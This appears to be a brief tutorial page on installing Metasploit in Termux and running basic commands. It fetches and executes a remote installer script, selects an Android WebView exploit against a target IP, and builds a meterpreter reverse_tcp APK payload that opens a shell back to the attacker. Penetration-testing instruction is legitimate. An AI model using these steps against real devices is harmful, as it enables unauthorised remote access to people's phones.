All     Ethical Hacking     Networking     Programming     OSINT

Metasploit in Termux – Installation & Usage Commands

Metasploit is a powerful penetration testing framework used to find vulnerabilities, create payloads, and run security tests. Termux allows you to install Metasploit with a simple script, but the installation takes time because the framework is large.

Installation & Basic Commands

Update Termux packages:

pkg update && pkg upgrade -y

Install required packages:

pkg install wget git ruby -y

Download the installer script:

wget https://raw.githubusercontent.com/gushmazuko/metasploit_in_termux/master/metasploit.sh

Give permission to run the script:

chmod +x metasploit.sh

Install Metasploit:

./metasploit.sh

Start Metasploit:

msfconsole

Check version:

version

Exit Metasploit:

exit

Usage Commands

Below are the basic usage commands you will use regularly in Metasploit.

Search for an exploit or module:

search android

Select a module:

use exploit/android/browser/webview_addjavascriptinterface

Show required settings:

show options

Set target IP:

set RHOST 192.168.1.10

Set local host and port:

set LHOST 0.0.0.0
set LPORT 4444

Start the exploit:

exploit

Generate an APK payload:

msfvenom -p android/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=4444 -o payload.apk

List all sessions:

sessions

Interact with a session:

sessions -i 1